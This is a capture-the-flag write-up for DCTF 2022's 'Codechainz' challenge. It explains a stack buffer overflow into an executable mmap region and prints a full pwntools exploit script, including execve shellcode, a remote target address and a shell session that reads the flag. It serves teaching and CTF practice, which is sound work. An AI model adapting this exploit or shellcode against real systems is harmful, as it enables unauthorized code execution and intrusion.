Hi everyone! This post is on DCTF 2022’s Codechainz which is a fairly easy pwn challenge. This challenge has a buffer overflow (BoF) vulnerability and requires us to jump to a space created by mmap()
which is executable. However, there is a shellcode size limit due to the space available. Let’s get started!

Files provided
File infomation
We can see that it is an x64 ELF file and canary is not enabled. Therefore, it might be a buffer overflow attack. Please install pwntools if you haven’t as we need it to check its security features and the exploit later.
kali@kali~$ file app app: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2e877e3c70297102ea72ad1dae1b70a742988811, for GNU/Linux 3.2.0, not stripped kali@kali~$ pwn checksec --file=./app [*] '/home/kali/Desktop/ctf/chall/app' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
Layout of the program
Below shows a very simple layout of the program so that you won’t have to load the binary into IDA to view it.



void __noreturn loop_de_loop()
{
char s[10]; // [rsp+Eh] [rbp-12h] BYREF
int v1; // [rsp+18h] [rbp-8h] BYREF
char v2; // [rsp+1Fh] [rbp-1h]
v1 = -1;
v2 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
fflush(stdout);
input_int(&v1);
if ( v1 == 4 )
{
puts("Goodbye!");
exit(0);
}
if ( v1 <= 4 )
break;
LABEL_18:
puts("Invalid option.\n");
}
switch ( v1 )
{
case 3:
if ( !v2 )
goto LABEL_13;
puts("Deleting your memory...");
memset(memory_space, 0, 0x1EuLL);
v2 = 0;
sleep(2u);
puts("Memory deleted.\n");
break;
case 1:
if ( v2 != 1 )
{
fgets(s, 2, stdin);
input_str();
v2 = 1;
}
else
{
puts("You have already made a memory!\n");
}
break;
case 2:
if ( v2 )
{
puts("Here is your memory. I managed to remember it ^^");
puts(memory_space);
}
else
{
LABEL_13:
puts("You have no memories saved.\n");
}
break;
default:
goto LABEL_18;
}
}
}
Vulnerability
If we take a look at input_str()
which is called when we choose option 1 from the main menu, we can see that the variable array s
can result in a buffer overflow as we can supply 100 bytes of input but the size of the variable array s
is only 44 (0x2C). This means that we can overwrite the return address by supplying 0x2C + 0x8 (variable i
space) + 0x8 (RBP space) = 0x38 bytes to reach the return address’s location.

The decompiled code in IDA above also showed that 30 bytes of our input are stored in the memory_space
variable. Since we know that NX is enabled. Let’s look at if we store our shellcode in the memory_space
variable, set the return address to the address of the memory_space
variable so that our shellcode gets executed. However, we need to find out if the new memory space for the memory_space
variable created by mmap()
at init_memory()
is executable.
In mmap()
at init_memory()
, we can see that the memory location is executable due to the value 7 passed in the protection argument based on this source. Therefore, we can execute our shellcode from the memory_space
variable.

Crafting of the exploit
Below shows Codechainz_exploit.py. Since we know that only 30 bytes are copied to the memory_space
variable, I need a limited-size shellcode. Thus, a quick Google allows me to find this short x64 shellcode here.
from pwn import *
context.arch = "amd64"
# 27 bytes shellcode from http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
r = remote("51.124.222.205", 13370)
# for local debugging
#r = process("./app")
################## obtain memory's location ##################
r.recvuntil(b'DISCLAIMER: All your memories will be saved at ')
mem_space_loc = int(r.recvuntil(b'\n').decode("UTF-8")[:-2], 16)
log.info("memory_space address: " + hex(mem_space_loc))
# choose option 1 to go to BoF vulnerable page
r.sendlineafter(b'> ', b'1')
################## Craft payload ##################
s_offset_to_ret = 0x38
log.info("Shellcode length: " + hex(len(shellcode)))
log.info("Allowed shellcode length: " + hex(0x1E))
log.info("Allowing padding length: " + hex(s_offset_to_ret))
# pad until return address's location
padding = (s_offset_to_ret - len(shellcode)) * b'A'
payload = shellcode + padding + p64(mem_space_loc)
log.info("Payload sent: " + str(payload))
# exploit the buffer overflow vulnerability
r.sendafter(b'> ', payload)
r.interactive()
Obtain the flag
I am not sure why but either something has got to do with the program or shellcode. During the first input of a command, there is no result. We will have to input a command again before the shell works.
kali@kali~$ python3 Codechainz_exploit.py [+] Opening connection to 51.124.222.205 on port 13370: Done [*] memory_space address: 0x7fb41c99e000 [*] Shellcode length: 0x1b [*] Allowed shellcode length: 0x1e [*] Allowing padding length: 0x38 [*] Payload sent: b'1\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xe0\x99\x1c\xb4\x7f\x00\x00' [*] Switching to interactive mode $ ls $ ls app bin boot dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cat flag.txt dctf{5h3_s31l5_s3e_5h3ll5_0n_7h3e_534_shur3_2nvc4t4204}
I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here.